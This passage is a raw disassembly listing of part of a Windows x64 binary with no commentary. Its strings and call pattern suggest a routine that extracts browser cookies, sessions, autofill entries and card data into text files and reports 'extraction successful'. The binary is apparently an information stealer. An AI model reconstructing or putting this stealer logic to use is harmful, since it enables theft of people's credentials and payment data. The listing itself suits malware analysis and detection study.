lea rcx, [rsp + 0x58]
call fcn.140032060
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xor ecx, ecx
mov qword [rbp - 0x50], rcx
mov qword [rbp - 0x48], rcx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
mov r8d, 7
lea rdx, str._cookie
lea rcx, [rbp - 0x60]
call fcn.140032060
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2e0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2f0], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rcx, [rbp - 0x60]
call fcn.140034ac0
nop
lea rcx, [rsp + 0x58]
call fcn.140034ac0
nop
lea rcx, [rbp + 0x20]
call fcn.140034ac0
mov rax, qword [rbp - 0x40]
mov r8, qword [rax + 0x10]
mov rdx, qword [rbp - 0x10]
mov r10, qword [rdx + 0x10]
movabs rcx, 0x7fffffffffffffff
sub rcx, r8
cmp rcx, r10
jb 0x140016887
mov r9, rax
cmp qword [rax + 0x18], 0xf
jbe 0x140015ccc
mov r9, qword [rax]
mov rcx, rdx
cmp qword [rdx + 0x18], 0xf
jbe 0x140015cd9
mov rcx, qword [rdx]
mov qword [rsp + 0x30], r10
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], r8
mov r8, rax
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x40]
call fcn.14003c170
nop
mov r8d, 1
lea rdx, [0x140284684]
lea rcx, [rbp + 0x40]
call fcn.140032060
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xor ecx, ecx
mov qword [rbp - 0x20], rcx
mov qword [rbp - 0x18], rcx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x20], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova rdx, qword [rbp + 0x150]
mov r8, qword [rbp + 0x160]
lea rcx, [rbp - 0x30]
call fcn.140032060
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xor ecx, ecx
mov qword [rbp - 0x70], rcx
mov qword [rbp - 0x68], rcx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
mov r8d, 8
lea rdx, str._session
lea rcx, [rbp - 0x80]
call fcn.140032060
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2c0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2d0], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rcx, [rbp - 0x80]
call fcn.140034ac0
nop
lea rcx, [rbp - 0x30]
call fcn.140034ac0
nop
lea rcx, [rbp + 0x40]
call fcn.140034ac0
xorps xmm0, xmm0
movups xmmword [rbp + 0x190], xmm0
lea rax, [rbp + 0x20]
mov qword [rsp + 0x78], rax
lea rdx, [rbp + 0x300]
lea rcx, [rbp + 0x20]
call fcn.1400322e0
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x380]
lea rcx, [rbp - 0x60]
call fcn.1400322e0
nop
mov r9, qword [rsp + 0x50]
mov r8, rax
mov rdx, qword [rbp + 0x18]
lea rcx, [rbp + 0x190]
call fcn.14000e630
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
lea rax, [rsp + 0x58]
mov qword [rsp + 0x78], rax
lea rdx, [rbp + 0x1e0]
lea rcx, [rsp + 0x58]
call fcn.1400322e0
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x360]
lea rcx, [rbp - 0x80]
call fcn.1400322e0
nop
mov r9, qword [rsp + 0x50]
mov r8, rax
lea rcx, [rbp + 0x1d0]
call fcn.14000efe0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a0], xmm0
mov r8, qword [rbp + 0x18]
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x1a0]
call fcn.14000f7d0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1b0], xmm0
lea rax, [rbp + 0x20]
mov qword [rsp + 0x78], rax
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp + 0x20]
call fcn.1400322e0
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x320]
lea rcx, [rbp - 0x60]
call fcn.1400322e0
nop
mov r9, qword [rsp + 0x50]
mov r8, rax
mov rdx, qword [rbp + 0x18]
lea rcx, [rbp + 0x1b0]
call fcn.140010230
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c0], xmm0
lea rax, [rsp + 0x58]
mov qword [rsp + 0x78], rax
lea rdx, [rbp + 0x2c0]
lea rcx, [rsp + 0x58]
call fcn.1400322e0
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x340]
lea rcx, [rbp - 0x80]
call fcn.1400322e0
nop
mov r9, qword [rsp + 0x50]
mov r8, rax
mov rdx, qword [rbp + 0x18]
lea rcx, [rbp + 0x1c0]
call fcn.1400112d0
nop
mov rax, qword [rbp - 0x40]
mov rdx, qword [rax + 0x10]
movabs rcx, 0x7fffffffffffffff
sub rcx, rdx
cmp rcx, 8
jb 0x140016881
mov r9, rax
cmp qword [rax + 0x18], 0xf
jbe 0x140015f81
mov r9, qword [rax]
mov qword [rsp + 0x30], 8
lea rcx, str._output_
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rdx
mov r8, rax
movzx edx, r14b
lea rcx, [rbp + 0x20]
call fcn.14003c170
nop
mov rax, qword [rbp - 0x10]
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x140015fbd
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp + 0x20]
call fcn.140032060
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xor ecx, ecx
mov qword [rbp - 0x50], rcx
mov qword [rbp - 0x48], rcx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
mov r8d, 5
lea rdx, str._log_
lea rcx, [rbp - 0x60]
call fcn.140032060
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2a0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2b0], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rcx, [rbp - 0x60]
call fcn.140034ac0
nop
lea rcx, [rbp + 0x20]
call fcn.140034ac0
mov rax, qword [rbp - 0x40]
mov rdx, qword [rax + 0x10]
movabs rcx, 0x7fffffffffffffff
sub rcx, rdx
cmp rcx, 8
jb 0x14001687b
mov r9, rax
cmp qword [rax + 0x18], 0xf
jbe 0x140016072
mov r9, qword [rax]
mov qword [rsp + 0x30], 8
lea rcx, str._output_
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rdx
mov r8, rax
movzx edx, sil
lea rcx, [rbp - 0x80]
call fcn.14003c170
nop
mov rax, qword [rbp - 0x10]
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x1400160ae
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp - 0x80]
call fcn.140032060
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xor ecx, ecx
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x70], rcx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
mov r8d, 0xa
lea rdx, str._autofill_
lea rcx, [rsp + 0x58]
call fcn.140032060
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x280], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x290], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rcx, [rsp + 0x58]
call fcn.140034ac0
nop
lea rcx, [rbp - 0x80]
call fcn.140034ac0
mov rax, qword [rbp - 0x40]
mov rdx, qword [rax + 0x10]
movabs rcx, 0x7fffffffffffffff
sub rcx, rdx
cmp rcx, 8
jb 0x140016875
mov r9, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14001616a
mov r9, qword [rax]
mov qword [rsp + 0x30], 8
lea rcx, str._output_
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rdx
mov r8, rax
movzx edx, bl
lea rcx, [rbp + 0x20]
call fcn.14003c170
nop
mov rax, qword [rbp - 0x10]
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x1400161a5
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp + 0x20]
call fcn.140032060
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xor ecx, ecx
mov qword [rbp - 0x50], rcx
mov qword [rbp - 0x48], rcx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
mov r8d, 4
lea rdx, str._cc_
lea rcx, [rbp - 0x60]
call fcn.140032060
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x260], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x270], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rcx, [rbp - 0x60]
call fcn.140034ac0
nop
lea rcx, [rbp + 0x20]
call fcn.140034ac0
mov rax, qword [rbp - 0x40]
mov rdx, qword [rax + 0x10]
movabs rcx, 0x7fffffffffffffff
sub rcx, rdx
cmp rcx, 8
jb 0x14001686f
mov r9, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14001625a
mov r9, qword [rax]
mov qword [rsp + 0x30], 8
lea rcx, str._output_
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rdx
mov r8, rax
movzx edx, dil
lea rcx, [rbp - 0x80]
call fcn.14003c170
nop
mov rax, qword [rbp - 0x10]
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x140016296
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp - 0x80]
call fcn.140032060
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xor ecx, ecx
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x70], rcx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
mov r8d, 8
lea rdx, str._cookie_
lea rcx, [rsp + 0x58]
call fcn.140032060
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x240], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x250], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rcx, [rsp + 0x58]
call fcn.140034ac0
nop
lea rcx, [rbp - 0x80]
call fcn.140034ac0
lea r8, str._output_
mov rdx, qword [rbp - 0x40]
lea rcx, [rbp - 0x60]
call fcn.140035d30
nop
mov r8, qword [rbp - 0x10]
mov rdx, rax
lea rcx, [rbp + 0x20]
call fcn.140035f60
nop
lea r8, str._sessions_
mov rdx, rax
lea rcx, [rbp + 0x3a0]
call fcn.140035da0
nop
lea rcx, [rbp + 0x20]
call fcn.140034ac0
nop
lea rcx, [rbp - 0x60]
call fcn.140034ac0
lea rax, [rbp + 0xe0]
mov qword [rsp + 0x78], rax
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0xe0]
call fcn.14002df60
mov qword [rsp + 0x50], rax
lea r8, [0x140284684]
lea rdx, [rbp + 0x2a0]
lea rcx, [rbp - 0x30]
call fcn.140035d30
nop
lea r8, [rbp + 0x150]
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.140035f60
nop
lea r8, str..txt
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140035da0
nop
mov rdx, qword [rsp + 0x50]
mov rcx, rax
call fcn.140012520
nop
lea rcx, [rbp - 0x80]
call fcn.140034ac0
nop
lea rcx, [rbp - 0x30]
call fcn.140034ac0
lea rax, [rbp + 0xd0]
mov qword [rbp - 0x38], rax
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0xd0]
call fcn.14002df60
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x58]
mov qword [rbp + 0x10], rax
lea rdx, [rbp + 0x150]
lea rcx, [rsp + 0x58]
call fcn.1400322e0
mov qword [rsp + 0x78], rax
lea r8, [rbp + 0x150]
lea rdx, [rbp + 0x280]
lea rcx, [rbp - 0x30]
call fcn.140035e80
nop
lea r8, str..txt
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.140035da0
nop
mov r8, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x78]
mov rcx, rax
call fcn.1400129a0
nop
lea rcx, [rbp - 0x30]
call fcn.140034ac0
lea rax, [rbp + 0xc0]
mov qword [rbp - 0x38], rax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xc0]
call fcn.14002df60
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x58]
mov qword [rbp + 0x10], rax
lea rdx, [rbp + 0x150]
lea rcx, [rsp + 0x58]
call fcn.1400322e0
mov qword [rsp + 0x78], rax
lea r8, [rbp + 0x150]
lea rdx, [rbp + 0x260]
lea rcx, [rbp - 0x30]
call fcn.140035e80
nop
lea r8, str..txt
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.140035da0
nop
mov r8, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x78]
mov rcx, rax
call fcn.140012e30
nop
lea rcx, [rbp - 0x30]
call fcn.140034ac0
lea rax, [rbp + 0xf0]
mov qword [rbp - 0x38], rax
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0xf0]
call fcn.14002df60
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x58]
mov qword [rbp + 0x10], rax
lea rdx, [rbp + 0x150]
lea rcx, [rsp + 0x58]
call fcn.1400322e0
mov qword [rsp + 0x78], rax
lea r8, [rbp + 0x150]
lea rdx, [rbp + 0x240]
lea rcx, [rbp - 0x30]
call fcn.140035e80
nop
lea r8, str..txt
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.140035da0
nop
mov r8, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x78]
mov rcx, rax
call fcn.1400133b0
nop
lea rcx, [rbp - 0x30]
call fcn.140034ac0
lea rax, [rbp + 0x100]
mov qword [rbp - 0x38], rax
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x100]
call fcn.14002df60
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x58]
mov qword [rbp + 0x10], rax
lea rdx, [rbp + 0x150]
lea rcx, [rsp + 0x58]
call fcn.1400322e0
mov qword [rsp + 0x78], rax
lea r8, [rbp + 0x150]
lea rdx, [rbp + 0x3a0]
lea rcx, [rbp - 0x30]
call fcn.140035e80
nop
lea r8, str..txt
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.140035da0
nop
mov r8, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x78]
mov rcx, rax
call fcn.140013dd0
nop
lea rcx, [rbp - 0x30]
call fcn.140034ac0
lea rdx, str.extraction_successful
lea rcx, [0x1402d5ad0]
call fcn.140037d20
nop
lea rcx, [rbp + 0x3a0]
call fcn.140034ac0
nop
lea rcx, [rbp + 0x240]
call fcn.140034ac0
nop
lea rcx, [rbp + 0x260]
call fcn.140034ac0
nop
lea rcx, [rbp + 0x280]
call fcn.140034ac0
nop
lea rcx, [rbp + 0x2a0]
call fcn.140034ac0
nop
lea rcx, [rbp + 0x1c0]
call fcn.14000ef90
nop
lea rcx, [rbp + 0x1b0]
call fcn.14000ef90
nop
lea rcx, [rbp + 0x1a0]
call fcn.14000ef90
nop
lea rcx, [rbp + 0x1d0]
call fcn.14000ef90
nop
lea rcx, [rbp + 0x190]
call fcn.14000ef90
nop
lea rcx, [rbp + 0x2c0]
call fcn.140034ac0
nop
lea rcx, [rbp + 0x2e0]
call fcn.140034ac0
nop
lea rcx, [rbp + 0x1e0]
call fcn.140034ac0
nop
lea rcx, [rbp + 0x300]
call fcn.140034ac0
nop
lea rcx, [rbp + 0x200]
call fcn.140034ac0
nop
lea rcx, [rbp + 0x3c0]
call fcn.1400349b0
nop
lea rcx, [rbp + 0x3e0]
call fcn.1400349b0
nop
lea rcx, [rbp + 0x170]
call fcn.1400349b0
nop
lea rcx, [rbp + 0x320]
call fcn.140034ac0
nop
lea rcx, [rbp + 0x340]
call fcn.140034ac0
nop
lea rcx, [rbp + 0x360]
call fcn.140034ac0
nop
lea rcx, [rbp + 0x400]
call fcn.140034ac0
nop
lea rcx, [rbp + 0x380]
call fcn.140034ac0
nop
lea rcx, [rbp + 0x220]
call fcn.1400349b0
nop
lea rcx, [rbp + 0x420]
call fcn.1400349b0
nop
lea rcx, [rbp + 0x150]
call fcn.140034ac0
mov rcx, qword [rbp + 0x70]
add rcx, 0x20
mov qword [rbp + 0x70], rcx
cmp rcx, qword [rbp + 0xb8]
jne 0x140014b80
mov rbx, qword [rbp - 0x40]
mov rdi, qword [rbp]
mov rsi, qword [rbp + 0x18]
mov rdx, qword [rbp + 0xa0]
xor r14d, r14d
mov rcx, rdx
call fcn.140034830
nop
mov rcx, qword [rbp + 0xa8]
call fcn.140034ac0
nop
mov rcx, qword [rbp - 0x10]
call fcn.140034ac0
nop
mov rcx, qword [rbp + 0x68]
call fcn.1400349b0
nop
mov rcx, rdi
call fcn.140034ac0
nop
mov rcx, qword [rbp + 0xb0]
call fcn.140034ac0
nop
mov rcx, qword [rsi]
test rcx, rcx
je 0x140016838
mov rdx, qword [rsi + 0x10]
sub rdx, rcx
cmp rdx, 0x1000
jb 0x140016828
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140016869
mov rcx, r8
call fcn.1401e11b0
mov qword [rsi], r14
mov qword [rsi + 8], r14
mov qword [rsi + 0x10], r14
mov rcx, rbx
call fcn.140034ac0
mov rcx, qword [rbp + 0x440]
xor rcx, rsp
call fcn.1401e1190
add rsp, 0x558
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.140001ec0
nop
call fcn.1401f6948
nop
call fcn.140001ec0
nop
call fcn.140001ec0
nop
call fcn.140001ec0
nop
call fcn.140001ec0
nop
call fcn.140001ec0
nop
call fcn.140001ec0
nop
call fcn.140001ec0
nop
call fcn.140001ec0
nop
call fcn.140001ec0
nop
call fcn.140001ec0
nop
call fcn.140001ec0
nop
call fcn.140001ec0
int3